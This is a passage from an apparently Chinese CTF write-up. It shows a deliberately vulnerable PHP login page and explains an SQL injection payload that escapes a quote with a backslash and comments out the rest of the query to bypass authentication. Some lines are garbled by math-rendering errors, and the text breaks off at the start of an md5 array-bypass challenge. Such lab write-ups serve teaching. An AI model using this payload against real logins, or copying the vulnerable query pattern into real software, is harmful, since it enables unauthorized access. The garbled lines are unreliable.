16、SQL注入注释外包’及or绕过
<?php
#GOAL: login as admin,then get the flag;
error_reporting(0);
require 'db.inc.php';
function clean($str){
if(get_magic_quotes_gpc()){
$str=stripslashes($str);
}
return htmlentities($str, ENT_QUOTES);
}
$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);
$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
die('Invalid password!');
}
echo $flag;
?>
目标! r e s u l t ∣ ∣ m y s q l _ n u m _ r o w s ( result || mysql\_num\_rows( result∣∣mysql_num_rows(result) < 1为真,并没有对内容进行检测,不需要是admin也行
几个函数提一下:
- get_magic_quotes_gpc,获取当前php.ini中的magic_quotes_gpc 的配置(on/off)。如果 magic_quotes_gpc 为off时返回 0,否则返回 1。在 PHP 5.4.0 起将始终返回 FALSE。 magic_quotes_gpc是一种转义配置,所有的 ’ (单引号)、" (双引号)、\(反斜杠)和 NUL’s 被一个反斜杠自动转义。
- stripslashes,去掉反斜杠
语法
stripslashes(string)
例:echo stripslashes("Who\'s Bill Gates?");
运行结果:Who's Bill Gates?
echo stripslashes("Who\\'s Bill Gates?");
运行结果:Who's Bill Gates?
echo stripslashes("Who\\\'s Bill Gates?");
运行结果:Who\'s Bill Gates?
- htmlentities,把字符转换为 HTML 实体。ENT_QUOTES是转换双引号和单引号,单引号被转换为'
也就是说,参数可能被去掉\,但是单引号和双引号一定会被html实体化,所以参数不能有单引号和双引号,而现今版本的php,get_magic_quotes_gpc是被废掉的
php中查询语句:
SELECT * FROM users WHERE name=’’.KaTeX parse error: Can't use function '\'' in math mode at position 11: username.'\̲'̲ AND pass=\''.password.’’;
sql中也就是
SELECT * FROM users WHERE name=‘username’ AND pass=‘password’;
参数的单引号是拼接上去的,而我们输入单引号就会被html实体化(虽然在页面上显示的仍然是单引号)
payload:
?username=\&password= or 1%23
形成查询语句:SELECT * FROM users WHERE name=’\’ AND pass=’ or 1%23’
也就是PHP语句的name后面的单引号被转义
这样最后的单引号被注释了,因为有个单引号被转义,所以name就是’AND pass =,or 1之后就为true。
17
这个跟9重复了
18、md5()函数===使用数组绕过
<?php
error_reporting(0);
$flag = 'flag{test}';
if (isset($_GET['username']) and isset($_GET['password'])) {
if ($_GET['username'] == $_GET['password'])
print 'Your password can not be your username.';
else